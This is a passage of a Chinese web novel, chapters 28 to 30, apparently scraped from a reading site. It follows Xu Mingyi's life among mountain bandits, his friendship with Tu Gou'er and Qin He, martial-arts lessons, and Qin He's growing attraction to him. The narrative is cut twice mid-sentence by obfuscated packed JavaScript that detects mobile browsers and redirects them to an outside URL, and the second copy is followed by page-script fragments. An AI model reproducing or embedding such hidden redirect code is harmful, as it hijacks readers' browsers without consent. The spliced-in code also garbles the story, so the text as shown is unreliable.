许明意自是不会做饭的,他这辈子连菜刀都不曾摸过,秦河不是他家中下人,许明意自也不能坐在屋中等着吃饭,索性进了灶房。可这活儿对许明意来说实在陌生,秦河瞧他硬邦邦地杵在门口,一副不知所措的模样,莫名的竟觉得很是有意思。他见过许明意提着刀,凶狠阴郁和他搏命的样子,也见过许明意游刃有余地审讯肉票的模样,这个样子,还是头一遭。 还真是大少爷。 灶房都不曾进过吧。 过了一会儿,许明意慢吞吞地去给秦河烧火了。 涂狗儿来时就见秦河灶房里浓烟滚滚,吓了一大跳,还以为着火了,拔腿就往里冲,嘴里大叫:“虎哥!” 走近了,就见秦河正把许明意拉出灶房,二人都灰头土脸的,听见脚步声,齐齐向涂狗儿看了过来。 涂狗儿一呆,说:“虎哥,你们干啥呢?” 秦河气极反笑,道:“你问他吧,差点把我灶房点了,嘶,我的菜——”火烧屁股似的,转头又钻了进去。涂狗儿看向许明意,许明意嘴唇绷直,因火烧得太旺,又急于灭火,最终压了一灶膛的柴火,烧得黑烟滚滚,脸也沾了黑灰。出师不利,许明意有点儿尴尬,无论如何也不敢相信自己居然被一个小小的烧火难住了。风里来雨里去,生死过头都过来了——许明意察觉涂狗儿正看着他,他愈发不自在,面色沉沉地看着涂狗儿,说:“看什么?” 涂狗儿:“噗。” 许明意脸色阴沉。 涂狗儿嚷道:“虎哥我给你烧火哈哈哈!” 见鬼的烧火! 当天中午,桌上多了一盘烧得焦黑的兔肉,涂狗儿龇着大牙乐,“这么多年,我还是头一回在虎哥饭桌上吃着烧坏的菜。” 秦河说:“吃饭都堵不住你的嘴。” 涂狗儿眨巴眨巴眼睛,看看一旁不做声的许明意,揉了揉笑僵的脸,夹了块兔肉送嘴里,补救道:“虽说焦了,但是也还是很好吃的。” 许明意一言不发地闷头吃饭。 三人用过饭,涂狗儿乖觉地去洗碗了,洗完碗,回来时他对许明意道:“头一回烧火吧?没什么,以后多烧几回就好了。” “我小时候也不会烧,都是被我娘打出来的。” “就算学不会也没什么,以后有钱了,专门买个厨子,用不着自己做饭,”涂狗儿说。 许明意看着涂狗儿,涂狗儿生得瘦小,约莫和他们一般年纪,他抿了抿嘴唇,紧绷的神情一点点松缓下来。涂狗儿笑嘻嘻道:“再说了,不会做饭也没什么大不了的,你去寨子里看看,有几个男人和虎哥一样能做饭?” 秦河正在掰柿子,闻言丢了一个给涂狗儿,道:“说别人作甚,你自个儿连个面都不会下。” 涂狗儿眼疾手快地接住柿子,擦了擦,送嘴边咬了一口,道:“所以我以后要找个会做饭的媳妇。” 秦河冷笑道:“那你不如娶赵大婶吧。” 赵婶便是平顶寨中给一干响马做饭的厨娘,涂狗儿脑袋摇得像拨浪鼓似的,道:“我不要,赵大婶太凶了,做的饭还不好吃,要不是她是大当家的婶娘,大家伙儿早不干了。” 许明意看着他们二人嬉笑打闹,恍了一下神,他兄弟众多,可彼此并不亲厚,他们也瞧不上他。后来嫁去了张家,他每日都如履薄冰,不敢轻易和人亲近,能与他相交的,也多是各家的少奶奶。 细细一想,他竟连个能如此说笑的朋友都没有。 “哎!明意!”耳边突然传来涂狗儿的声音,许明意回过神,“嗯?” 涂狗儿道:“想什么呢?” 许明意:“没什么。” 涂狗儿说:“我和虎哥商量着过几天下山的时候就买布做冬衣,天儿转凉了,山上冷得比山下早,问你要不要一起去。” 许明意看着二人,道:“去。” 涂狗儿笑道:“那到时候咱们一块儿去。” 许明意垂下眼睛,却见不知何时,他桌边多了个柿子,蒂子剥干净了,柿子洗过,红彤彤的,透着一股子绵软香甜的味道。他愣了一下,下意识地看向秦河,秦河没看他,正和涂狗儿说着下山要备些什么东西。 许明意的目光慢慢移向那个柿子,过了好一会儿才拿起来轻轻咬了一口,汁水甜津津的在唇齿间漫了开去。 涂狗儿说的下山的机会,许明意没有想到,竟是押着肉票下山去换赎金。说来也巧,他们要送下山的,正是钱老板。钱老板在山上待了这些日子遭了罪,脱水似的瘦了好几圈,被蒙着眼睛,牛羊似的,让响马拖拽下山。许明意和秦河、涂狗儿一道,跟在后头。他看着蒙在钱老板脸上的黑布,想起自己上山时的惶惶忐忑,而今被绑的成了绑别人的,委实是世事难料。 涂狗儿心大,热情地对许明意道:“山上路不好走,多走几趟就成了。” 许明意看了他一眼,应了声,也没有多话。平顶寨能在这乱世里成为凶名在外的响马,自是有些本事的,山上搭建了多处巡逻塔,足以在发生变故之前先预警。他走这一遭,将下山的路记得七七八八,无意间撞上秦河的眼神,秦河挑了下眉毛,有几分似笑非笑的意味。 许明意面无表情地转开了脸。秦河那眼神,让许明意想起二人初遇时,秦河笑他刀使得拙劣,然后轻易就将他手中的刀击落的模样。 这人看着是个粗莽汉子,实则心细如发,不是个好相与的。 无怪他入平顶寨不过几日,就敢放他下山,不过许明意倒也没有想跑的心思,不是迫于誓言,也不是为响马威势所逼,不过是他孑然一身,在这乱世里,许明意就是离开平顶寨,一时之间,也不知该去哪儿。 许明意走这一遭,便看了一遍响马是如何拿走赎金再放人质走的。响马手中有枪有刀,一切只能依着他们的规矩走,寻常人能保全性命就已是万事大吉,根本不敢生出反抗的心思。即便是如钱老板这样的商人,也只能认栽。 拿到赎金,涂狗儿和一干响马都欢呼起来,可没人私自动,这些都是要上交寨子的。秦河是这一行人的领头人,他吩咐当中几人带着赎金回山,自己便和涂狗儿、许明意转道去了城里。说是城里也算不得大城,是个五脏俱全的小镇,叫清水镇。秦河和涂狗儿显然都不是头一回来了,二人轻车熟路,先领着许明意去下了个馆子打牙祭。山上到底不如山下便宜,他们下馆子,自都是冲着吃肉去的,期间还让店家打了酒。 许明意酒量不佳,只小酌了一杯就罢,涂狗儿还因此笑话他,说:“你一个大男人怎么连酒都不能喝,要是到了山上,指定要被灌醉。” 许明意也不恼,抿着这不算好却足够烈的酒,道:“以前在家中没有饮酒的机会。” 其实不是没有喝酒的机会,只不过许明意谨小慎微惯了,也不敢让自己喝醉。他鲜少说起上山前的事,秦河和涂狗儿也不曾刻意问过,如今听他提起,话赶话的,涂狗儿好奇地道:“你家里以前干什么的?” 秦河也看向了许明意。 许明意说:“祖上当过官,后来就没落了。” 这话不假,许家祖上在清廷的确做过高官,那也是许明意祖父尚在的时候了,后来一代不如一代,许家渐渐的也就不成了。 当过官——秦河和涂狗儿都恍然,难怪许明意识文断字,气度也和寻常人不同。 涂狗儿说:“那你爹娘呢?” 许明意不咸不淡道:“死了。” 涂狗儿:“……嗐,也没什么,我爹我哥都没了,家里就剩个老娘——” 秦河清咳了一声,说:“吃饭,菜要凉了。” 用过饭,他们便依着原来的安排,要去置办东西。一出馆子,秦河就将一个钱袋子递给许明意,许明意愣了下,秦河道:“过些日子,大当家论功行赏,你也有份。” “我先拿给你,你要买什么自个儿买去。” 许明意看着那个灰扑扑的钱袋子,半晌,伸手接了过去,道:“谢了。” 秦河哼笑了一声。 秋意已深,山上冷得快,许明意如今穿的都是秦 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涂狗儿的母亲就住在镇上,姓郑,是个四十来岁的瘦弱妇人,鬓边头发已经白了大半。涂狗儿回来,她显然很欢喜,忙将他们往屋子里带,“狗儿,你们怎么突然就回来了……快,家里坐,大河也来了。” 她管秦河叫大河,秦河笑起来,很是熟稔地叫了声,“婶子。” 郑氏应了声,引进屋子,又是给他们倒热水,又是拿果子,很是热情。 涂狗儿按着她的肩膀,笑道:“娘,别忙了,我们今天晚上在家里住一宿。” 郑氏眼角漾开了细褶,道:“好,好,娘晚上给你们做好吃的。” 她瞧见许明意,问道:“这位是……” 涂狗儿说:“啊,娘,他叫许明意,是刚入镖局的兄弟。” 许明意听见涂狗儿说镖局,只故作不知,客客气气道:“婶子。” 郑氏瞧着许明意,他气质斯文,又生得白白净净的,很是合长辈的眼缘,郑氏笑道:“好俊的孩子。” 她想起什么,“哎呀”了一声忙站起来,说:“你们先在家里坐着,我去买些肉。” 涂狗儿笑嘻嘻地说:“我们都买了,好大一块儿呢,虎哥挑的三层大五花,娘,我想吃红烧肉!” 郑氏说:“好好好,晚上就给你做。” 不多时,郑氏便去收拾他们带回来的东西,涂狗儿自是跟去帮忙,秦河对许明意说:“狗儿和他娘说,他现在跟着镖局走镖,记得别说漏嘴了。” 许明意若有所思,点点头,“嗯。” 当天晚上,许明意在涂家吃了一顿家常便饭,郑氏对秦河和许明意都很是热情。许家长辈和张家二老都是自矜身份的人,便是亲近,也不会对许明意亲近,他还是头一遭面对这样质朴的热情,他招架不住,莫名的,还有些受宠若惊,看得秦河直发笑,显然已是习以为常。 涂狗儿已经和郑氏说了做衣裳一事,吃过饭,郑氏便拿了一卷软尺来给许明意量尺寸,一边量,一边道:“你这孩子也太瘦了些,平日里要多吃,长得壮点才好。” 许明意手足无措,浑身僵硬,一抬起眼,秦河和涂狗儿坐在椅子里嚼果子看热闹。 涂狗儿说:“娘,明意是读书人。” 郑氏道:“哎呀,读书人,真是了不起。” 她给许明意量腰围时,涂狗儿看着收紧的腰,忍不住比划了一下,说:“这么点儿,怎么就这么点儿?比姑娘腰还细!” 许明意身量单薄,当初秦河将他扛回去时就有所感受,硌得慌——秦河忍不住多看了几眼,寻思着还真是,他一只手都能环住。许明意面无表情地听着二人兴致勃勃地谈他的腰,冷不丁地开口,“你摸过姑娘的腰吗?还知道姑娘腰细不细。” 涂狗儿想也不想,就道:“芳香院里的如月姑娘腰最细,我上次唔唔——” 话说到这儿突然被秦河捂住了嘴,涂狗儿此时也反应过来,就听郑氏问道:“什么芳香院,什么如月姑娘?” 涂狗儿:“……” 秦河:“……” 郑氏皱着眉,看着涂狗儿和秦河二人,秦河悻悻然地抽回了手,揉了揉鼻子,说:“婶子,没什么——” 郑氏眉头皱得更紧,说:“芳香院,不是镇上那家妓院……”她脸色一沉,“狗儿!你敢去逛妓院!” 涂狗儿嗷的一声,叫嚷道:“娘,我没有!” 郑氏已经要去搜寻擀面杖了,涂狗儿说:“娘啊,我的亲娘,我就是跟着别人去看了一眼,只看了看,虎哥也知道!” 秦河没想到火烧到了自己身上,他屁股被燎着似的一下子站直了,解释道:“婶子,真的,狗儿就是去看了看……” “看什么?那种地方有什么好看的,”郑氏说,“我平时是怎么教你的?” 顿时就是一出鸡飞狗跳的现场教子。 许明意没想到自己随口一句就诈出这么一档子事,看着嗷嗷叫着闪躲的涂狗儿,秦河忍不住在开口说和,结果也教郑氏说了几句,涂狗儿幸灾乐祸,还没高兴上片刻,就被秦河反手推了出去让他娘好好教上一教。 许明意静静地看着,眼里也浮上了几分笑意。 秦河无意间一抬眼,就见许明意站在一旁,眼里是淡淡的笑还夹杂了些许怅然,看得秦河也恍了下神。 29. 第 29 章 涂家不大,秦河和许明意在涂家留宿,涂狗儿便将自己的房间让给了秦河和许明意,自己将平日里空置的小屋子收拾了出来。 当天晚上,许明意是和秦河一起睡的。二人虽同住一个屋檐下,睡在一张床上还是头一遭,许明意枕着手臂瞧见秦河走进来时,身体下意识地微微紧绷,旋即又安抚自己,这也算不得什么,都是男人,流亡时连大通铺都睡过了。可许明意鲜少和别人亲近,更不要说和人睡在一起,后来和他睡在一张床上的,是张靖遥和闻鹤来,一个是他的丈夫,一个是情夫。 秦河却是习以为常,他对许明意说:“往里挪挪。” 许明意看着他敞着衣襟,露出一片麦色的结实胸膛,皮肉擦洗过,交错的旧疤泛着几滴水色,颇有冲击力。他抿紧嘴唇,直挺挺地往里挪了挪。秦河见他盯着房顶,也循着他的目光看去,说:“顶上长花儿了?” 许明意吐出一个字,“没。” 秦河端详他片刻,察觉出了几分僵硬,扑哧一声乐了,道:“你怕什么,你又不是大姑娘,我还能吃了你么?” 许明意面上没什么表情,说:“将灯灭了。” 屋子里点的是煤油灯,昏昏暗暗,秦河个头高,杵在床边,身影罩下来的压迫感让许明意很是不自在。秦河也不恼,将煤油灯灭了之后便窸窸窣窣地爬上了床,这张床不大,两个人不可避免地挨着了一处,许明意身躯绷得更紧,往墙壁处又挪了挪。秦河见他这般,来劲儿了,非挨挤过去,许明意当即一脚就踹在他腿上,压低声音斥道:“你干什么!” 秦河没躲开,吃痛地抽了口气,夹住他的一条腿,嘿然道:“你怎么跟大姑娘似的,还害臊。” 许明意想抽出腿抽不出,当即另一条腿就踢了上去,冷冷道:“我害什么臊。” 秦河被他踢着了一下,哪儿还能吃第二次亏,黑暗中拳风扑面,二人直接就在床上拳脚相交起来,不过是一个毫无章法地攻,一个游刃有余地守。床是木床,他们动静不小,发出了吱呀的声音,秦河见许明意真恼了,擒住了他的手臂,短促地笑了声,道:“不打了,这床不结实,万一塌了……” 许明意不是秦河的对手,手抽不出,双腿也被压着,他直勾勾地盯着秦河,冷声道:“松开我。” 秦河:“松开别打了啊。” 许明意不吭声。 秦河刚松开他,下一瞬腿上又被踢了一脚,没留情,他“嘿”了声,说:“气性真大,我告诉你,架可不是这么打的,真动起手来你虎哥一只手就能给你摁住。” 许明意用力挣扎,却愣是没能将秦河甩下去,一番气力相搏之下二人都微微喘息着,秦河压在许明意身上,结实的胸膛压着许明意单薄的身体,将他整个人都笼在自己身下。呼吸交错间,秦河闻着了许明意身上干净清冽的味道,不知为什么,二人今日都是简单的擦洗了一番,他却觉得许明意格外香似的。秦河垂下眼睛,他看不见许明意的神情,可每一记呼吸声却听得愈发分明,如软羽搔刮在心里。 秦河体温高,皮肉炽热滚烫地透过薄软的衣裳毫无保留地烧灼着许明意,他浑身僵硬,咬牙切齿道:“秦河,从我身上下来!” 秦河如梦初醒,没来由的有点儿面热,撒开了手滚一旁去了,他清了清嗓子,道:“当谁稀罕压着你,我这是教你学个乖,别以为你那三脚猫的几下功夫就能讨着好。” 许明意冷笑了一声,不言语。 秦河又忍不住偏过脸看许明意,不消看见,也知道他是冷着脸的,秦河嘿嘿笑了笑,伸手碰了下许明意的手臂,说:“真生气了?” 许明意抽回手搭在自己身上,不理他,秦河道:“别生气了,逗你玩玩怎么还真气上了?” 秦河说:“这样,我教你几招,怎么样?” 许明意闭着眼睛道:“你有这么好心?” 秦河:“虎哥心善。” 许明意道:“用不着。” 秦河:“你学不学?” 许明意:“不学。” “你这是不知好歹,”秦河说,“这寨子里多少兄弟都求着我指点他们几招,我教你你还不乐意学?” 许明意说:“你教他们去。” 秦河蹭的一下坐直了,道:“那不成,老子还就非得教你。” 许明意:“不学。” 秦河:“学!” 许明意:“你有病吗?” 秦河脸皮厚,半点都不在意,他说:“没病,好着呢。” 许明意被他磨得心烦,睁开眼,看着秦河,冷冷道:“你教了我,信不信我学会就把你杀了?” 秦河笑了,说:“练功夫练的是童子功,那得打小练起,你已经过了年岁了,再练也成不了宗师。” “你杀不了我。” 突然,黑暗中一个物件抵在他腰上,许明意说:“是吗?” 秦河一愣,是许明意那把短匕,虽还未出鞘,却还是头一回有人拿刀抵着他。秦河气笑了,道:“你玩阴的。” 许明意:“兵不厌诈。” 他尾音上挑,有几分冷意,可又透着股子自矜,说:“如果我想杀你,你就已经死了。”说着,还拿匕首拍了拍秦河的腰,那几下不重,可拍下去,秦河却觉得那一块皮肉都酥酥麻麻的,他抓住许明意的手腕,说:“你以为谁都能近我身?” 许明意说:“轻信于人,取死之道。” 秦河脑子里都是他纤瘦的手腕,心不在焉地说:“啊?啥?”他合掌圈住许明意的腕子尚且绰绰有余,没头没脑地说:“明意,你手腕也挺细的。” 许明意:“……” 秦河说:“上回扛你回去的时候,硌得我肩疼,回山上的时候多买点肉回去。” 许明意一时间竟不知说什么,他面无表情道:“松手。” 秦河:“……噢。” 许明意几人在涂家住了一宿,第二日要走时,郑氏很是不舍。她一大早便烙了许多饼,还拿出家中的咸肉让他们带走,她对许明意道,她会尽快将衣服做出来的,就是要记得回来拿。许明意看着妇人面上慈和的笑容,心中软了软,轻轻点了下头,说:“婶子,我们下次再来看您。” 郑氏自是欢喜应好。 他们没有在镇上久留,只是又买了些东西便往山上去了,就如秦河说的,肉也没少买。 回山之后的许明意过了一段来之不易的平静的日子。许是干过一票,为了避风头,平顶寨中的响马没有再下山。秦河是个闲不住的人,他无所事事,便抓了许明意来,当真要教他习武。秦河看着大大咧咧的,练起武来却是个严师,他嫌许明意身体弱,下盘虚浮,拳脚无力,每日拉着许明意不是扎马步,便是去山中跑圈。 那之后的一段时间里,涂狗儿来蹭早饭时,就常见许明意在院子里蹲得双腿颤颤,脸色胀得通红,顿时唤醒了某些被遗忘的可怕记忆,火烧屁股似的转头就跑去寨子里喝能数米粒的稀粥就咸菜去了。 许明意心性坚韧,他知道秦河身手好,若是能和他学个一招半式,便是来日生死当前,也不至毫无还手之力,所以秦河愈是严苛,他学得愈发用心。就如秦河所说,许明意早已经过了练武的年纪,便是练,也难有大成,不过二人都不在意,许明意不想再任人鱼肉而只能以命相搏。何况他知道秦河能教他,就已是极为不易,时下人多敝帚自珍,哪里肯将这种传家的东西随意教予外人。 秦河倒是对许明意有些刮目相看,练功自是苦的,便是秦河,小时候也没少哭——不想练功被他爹揍的。许明意瞧着瘦瘦弱弱的一个富家少爷,竟也一声不吭地生受了,要说起初只是一时兴起,半个月后,秦河倒是当真用了几分心思。 许明意已经入了平顶寨,就是响马了,日后过的就是刀口舔血的日子,多一分倚仗,就多了一分活下去的希望。 虽与许明意相识时日尚短,可秦河心里却有一记声音无比清晰,他不想哪天看到的是许明意血淋淋的尸体。 许明意习武太晚,循序渐进之道不适合他,秦河琢磨了几天,教了他几招近身制敌的招式。许明意身体弱,搏命时果决狠辣,秦河教他的这几招胜在出其不意,一击必杀,正合许明意。 即便和秦河、涂狗儿等人相交,和秦河更是同住一处屋檐下,许明意心中对二人却不无防备之心。可他见秦河当真用心教他练武,甚至不吝教他杀招时,心中还是动了动。他这一生所受欺辱诸多,连亲生父母都憎恶厌弃他,没想到,落草为寇后,反倒有人真心待他。 当真是荒唐。 “明意!”一声低斥响在耳边,许明意猛地回过神,掌风及面,他下意识地错身避开,可下一瞬就被扫了下盘,整个人就摔在了地上,疼得龇牙咧嘴的。秦河沉着脸,站在许明意面前,沉声道:“和人交手还敢分神,你是找死吗?” 许明意哑然,秦河教他时从来一丝不苟,他说二人交手,胜负往往只在片刻间,容不得一丝马虎。许明意没少被他训斥,他分得出好歹,自是不可能生气,他干脆利落道:“刚刚是我分心了,再来。” 说着,许明意捡起了地上的匕首。这些日子都是秦河给他喂招的,秦河赤手空拳,许明意原本还想着会不会伤着他,秦河却道他要是能伤着他,就算许明意出师,显然没将许明意放在心上。 后来二人交手,也的确证明,许明意当真不是秦河的对手。 秦河见他如此,神色稍缓,想了想,道:“你要是累了就歇会儿。” 许明意道:“不累。” 秦河看着许明意被汗水浸湿的额发,他肤白,脸颊泛着红晕,显得嘴唇也红,眼神锐利,很是招人。秦河看得愣了愣,不自在地转开了眼睛,说:“算了,今天就到这儿吧。” 许明意:“嗯?” 他望着秦河,秦河揉了揉鼻尖,道:“你自己练会儿,我去找狗儿。”说完转身就走了,许明意看着秦河离去的背影,没多想,握着匕首复又比划起来。 秦河当然不是去找涂狗儿的。他觉得自己最近有些不对劲,很不对劲,不知道为什么,他总是忍不住盯着许明意看——许明意是长得好,肤白腰细的,可再好看,他娘的这也是个男人,他盯着一个男人看算什么?二人练武喂招,难免肢体触碰,一碰上,秦河心里总有点儿不自在。 真是奇了怪了。分明盛夏天里他和寨子里的兄弟一道在河里脱光了洗澡也没有一丝波澜,不过碰着许明意的腰、腿就胡思乱想,秦河发愁地想,他很确定自己对男人不感兴趣,怎么就许明意不一样呢?一定是他和许明意朝夕相处,许明意又长成那副模样,让他生出错觉了——要不让许明意搬出去住算了,可搬去哪儿呢?山上空闲的能住的地方不多,大都已经有人住着了,再说天马上就要冷了,那种地方怎么能过冬? 还没等秦河理出个所以然,山上一场秋雨悄然而至,寒意随着雨珠噼里啪啦地裹挟了整座山林。 这一日,秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦河瞧着许明意,他低头饮姜汤,露出一截白皙修长的脖颈,手指也纤瘦,白生生的,乖乖地坐在他床上,身上搭着的也是他的袄子,看得秦河心头一阵滚烫。若换了自己得风寒,秦河一碗姜汤下去,将自己捂出汗便也好了,也许是许明意身子弱,让他不好如此草草对待。秦河说:“你甭管,你就给我好好躺着。”又觉得自己好似实在太关切,欲盖弥彰道:“赶紧好起来,还得给老子练功。” 他说得毫不客气,许明意却觉察出了里头藏着的关心,他看了看秦河,“嗯”了声,说:“谢谢。” 他这么认真道谢,秦河反倒不自在起来,他揉了揉鼻子,道:“客气什么,都是自己人。” 许明意晚上自是睡在秦河屋子里的。他屋子里的炕是自己砌的,秦河年轻力壮,身体健壮,这个时候是用不着的,不过许明意畏寒,又生着病,自是不能再受凉。 床上热烘烘的,许明意喝了药便躺了上去,秦河进来时,他已经闭上了眼睛,像是睡着了。秦河脚步迟缓了须臾,定定神,才灭了煤油灯爬了上去。他刚躺下,想起什么,支起身替许明意掖好被角,又抬手探了探许明意的额头,见没有发烧方放了心。 秦河躺了回去,突然,他听许明意说:“秦河。” 秦河心紧了紧,莫名的,有点慌,“啊?” 许明意额头还残留着秦河手掌的温度,饮过药,明明很困乏,却又莫名的清醒。他恍惚地想,还是头一次有人这样仔细地照顾他。 许明意想起幼时他娘还在的时候,他身体算不得好,病时就分外渴望他娘能在他身边。可他娘厌恶他都来不及,又怎么会耐心地照顾他?许明意记得,有一回他病得厉害,高烧不退,迷迷糊糊时竟见他娘在他床边守着,许明意还当是梦,伸手抓着了他娘的衣袖才知道是真的。 那时他想,生病……也没什么不好的,病得厉害了,他娘就会忘记他的身体,陪在他身边。 后来他娘死了,许明意就不敢再生病了。 屋外风雨声簌簌作响,雨夜总是容易勾人愁绪,许明意迷迷糊糊地听着雨声,问秦河:“你家里还有什么人吗?” 秦河松了口气,道:“没了,家里就我一个了。” 许明意又说:“你为什么做响马?” 秦河偏头看了看许明意,半晌,道:“我是我爹从河里捡回来的,打小就是我们爷俩相依为命,他养我,教我打猎,练功。后来他被人害死了,我去告官,官府不理,我就自己报了仇。” “杀了人,官府通缉我,我一路从关外逃入关中,又无路可去,就上山了。” 他说得轻描淡写,许明意听着,恍恍惚惚地想,原来他们都是无家可归的人。 秦河等了许久,没有等来许明意的话,凝神一听,许明意的呼吸已经变得平缓了,听着他一起一伏的呼吸声,秦河轻轻笑了下,整个人都放松了下来。 第二天,秦河早早地就被热醒了,一睁眼,登时就不好了。 二人睡前一人一张被子,楚汉泾渭分明,醒来后,秦河怀里就多了一具热乎乎的躯体,挨得紧,他一条手臂还搭在许明意腰上。 秦河呆住了,木木地一低眼,就看见许明意微敞的衣襟里露出的一片白生生的细腻皮肉,突然,许明意动了动,秦河僵住,就见许明意追寻热意一般,将脑袋往他肩处埋,腿也挨着自己的大腿。 秦河一动也不敢动,旋即,他就脸色大变,他清晨向来精神的兄弟愈发昂扬,正臭不要脸地顶着许明意。 秦河:救命! 30. 第 30 章 秦河虽然是响马,却也算的上是响马中的一朵奇葩,一股清流,别的响马手里有了钱,都是吃喝嫖赌,今朝有酒今朝醉。秦河却热衷于攒钱,他爹说过,男人手里的钱得用在养家糊口上,给外头的人花算怎么回事?吃喝嫖赌,吃喝也就算了。嫖赌两样他要敢沾,他爹就打断他的腿。 即便秦爹已经不在,秦河始终铭记他爹的话,所以他和寨子里的人一道下山寻乐子,别的响马往窑子里跑,他溜溜达达坐酒馆里,点上一大盘卤肉,要上一壶酒,慢悠悠地自娱自乐能喝上一盅,堪称响马中的异类,别的人不是心里不嘀咕,不过秦河身手好,他们笑话几句就罢了,也不敢太编排他。 寨子里的人见秦河对女人不感兴趣,都猜他是不是喜欢男人,有一回还弄了个眉清目秀的男人给他,结果自然是被秦河赶出去了。秦河从来没想过自己会喜欢男人,他万分确信,自己喜欢女人——路上见着漂亮姑娘,也会多看两眼,就是有的时候想那档子事了,想的也都是柔软的女体。 秦河没想到,他会有对着许明意耍流氓的一天——许明意可是个货真价实的男人,他喜欢胸大腰细屁股翘的,可许明意腰细归腰细,胸不够大,屁股也不肥……他的兄弟怎么能对着许明意来个一柱擎天呢? 那日许明意还睡着,秦河如遭雷击似的,连滚带爬的下了床去外头,外头天气冷,寒意袭来,秦河稍稍冷静了几分,可底下却半点不冷静,脑子里还浮现着许明意睡在他怀里的样子,底下的东西更来劲了。 秦河索性洗了个冷水澡,他身体好,除非当真天极寒,都是冲的冷水。冲了两桶冷水,秦河的兄弟冷静了,他也冷静了。 秦河想,一定是他最近太闲了,得给自己找点事儿做。 后来几日秦河都鲜少待在家中,许明意也不在意,倒是饭桌上,多了几道野味儿。 病了那么一遭,许明意索性就和秦河一道睡了。秦河的炕宽敞是一回事,许明意发觉秦河每天晚上都将自己贴墙边,二人之间泾渭分明,俨然划了一道楚汉分界线,离得远远的。 许明意对此很是满意。 他想,也许是秦河自己一个人睡惯了,也不喜欢和男人同床,甚好。只是有一点让许明意觉得有点尴尬,不知为什么,明明睡觉前离得远远的,醒来后,他总是在秦河那块儿,思来想去,只能归咎于秦河火力旺,他被窝里暖和。山上入夜之后实在冷,当下也不能再起一个炕,许明意也不能讲究许多,只能勉强过了这个冬天再做打算。 涂狗儿觉得最近秦河和许明意之间有些奇怪,可哪儿怪,他又说不上来。他下过一趟山,将他娘给许明意做的衣裳拿了上来,郑氏还给秦河做了一件袄子,针脚密实,蓄足了棉花,看着就暖和。 涂狗儿将东西拿来时,只有秦河在,秦河摸着那件崭新的袄子,对涂狗儿说:“我有衣裳,你穿吧。” 涂狗儿道:“我娘给你做了还能短了我的?再说这衣服照着你做的,我穿不了。” 秦河想想也是,在心里盘算着下一回去见郑氏时多给她拿些钱,口中说:“谢了。” 涂狗儿说:“说这话就见外了。” 秦河笑了笑,涂狗儿瞧他,说:“虎哥,我咋瞧着你有点儿不对劲啊?” 这话一出,秦河无端有点儿心虚,含糊道:“有什么不对劲?” 涂狗儿砸吧嘴,想了想摇头道:“不知道,”他说,“明意呢?” 秦河松了口气,又有些失落,说:“跑圈儿去了,”所谓的跑圈便是沿着山路跑,涂狗儿顿时有些牙疼,道:“他还真跑啊?” 秦河:“跑啊,为什么不跑?”他觑一眼涂狗儿,“他对自己狠着呢。” 涂狗儿挠了挠脑袋,嘿嘿装傻,说:“虎哥,我觉着你对明意真挺好的,别的兄弟求都求不来的,你就这么教了他。” 秦河不自在地揉了下鼻尖,说:“他以后得和咱们一起行动,我教他,是为了让他以后不拖我们后腿。” 涂狗儿恍然,道:“说的也是。” 秦河见敷衍过去了,冷不丁的又问涂狗儿,“我对他真的很好?” 涂狗儿不明所以,老实道:“是挺好的,虽然虎哥对人仗义,不过也不是对谁都这么好。” 秦河打了个哈哈,道:“合眼缘吧。”说是合眼缘,秦河自己心里也没底,他没琢磨明白,干脆就不想了。没成想,当天晚上就做了一个梦,春梦。 梦里他压着一具白皙的身体,嘴唇是柔软的,吐出的喘息低低哑哑,撩拨得他血冲上头,沉醉不已。倏然,他觉察出了什么不对,睁开眼,秦河就看清了身下人的面容。 是许明意,可又像不是他,梦中的许明意不似平日中的冷淡平静,他脸颊潮红,嘴唇微张,眉梢眼角春情泛滥,让秦河胸腔如擂鼓,鬼使神差的,凑过去想吻他,可脑子里却响起另一记声音——这是许明意,是个男人。 秦河一下子就醒了。 他一偏头,许明意近在咫尺,正闭着眼睛,他眼前浮现梦中许明意的那张脸,心脏狠狠跳了跳。下一瞬,他就狠狠搓了搓自己的脸颊,小心翼翼地爬了起来。 秦河再是迟钝,也发觉不对头了——他好像喜欢男人了! 秦河想,怎么好端端的就喜欢男人呢?他是不是撞邪了?秦河当天就下山走了一趟,他去了镇上,镇上有个算命的瞎子,说是灵得很。秦河让瞎子给他算算,他是不是撞着什么脏东西了,瞎子神神叨叨地说了一通,最后给了他几张符纸,又拿了一帖药粉给他,让他洗澡的时候用,花了秦河二十个铜板。 秦河一回平顶寨,就将符纸张贴了起来,许明意瞧见那几张符纸,登时想起了昔日在张家时,张家老夫人贴在床头的符纸,嘴唇抿了抿,问秦河:“这是什么?” 秦河发愁地扫了许明意一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887534|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,好像自打把这人弄回来,他就开始撞邪,越来越不像自己了。秦河蠢蠢欲动,都想将符纸往许明意脑门贴,二人好歹住了这么些日子,他眼珠一转,许明意就察觉了危险,后退了一步。 秦河干笑道:“算命的说我身上不干净,驱驱邪。” 许明意面无表情:“都是骗子。” 其实秦河平日里也不大信这个,不过病急乱投医,求个心安,他随口说:“是吗?”他对许明意说,“你要不要来点?” 许明意坚决抗拒:“不必。” 秦河:“好吧。” 不知是愈在意便忍不住愈关注,还是那几张符纸都是虚的,秦河就着那药粉差点将自己搓掉一层皮,心里觉得断断不会再做春梦时,就见着许明意在屋子里泡脚,裤腿挽起了,露出一双纤瘦漂亮的小腿,泡完了,他拿干净的帕子擦拭着自己的脚掌,那双脚生得骨肉匀称,皮肤薄薄的,能见凸起的青色血管,脚趾小巧,微蜷着,粗糙的帕子挤入缝中,透着不可言说的色气。 秦河愣住了,顿时一股子热气直冲脑门儿。 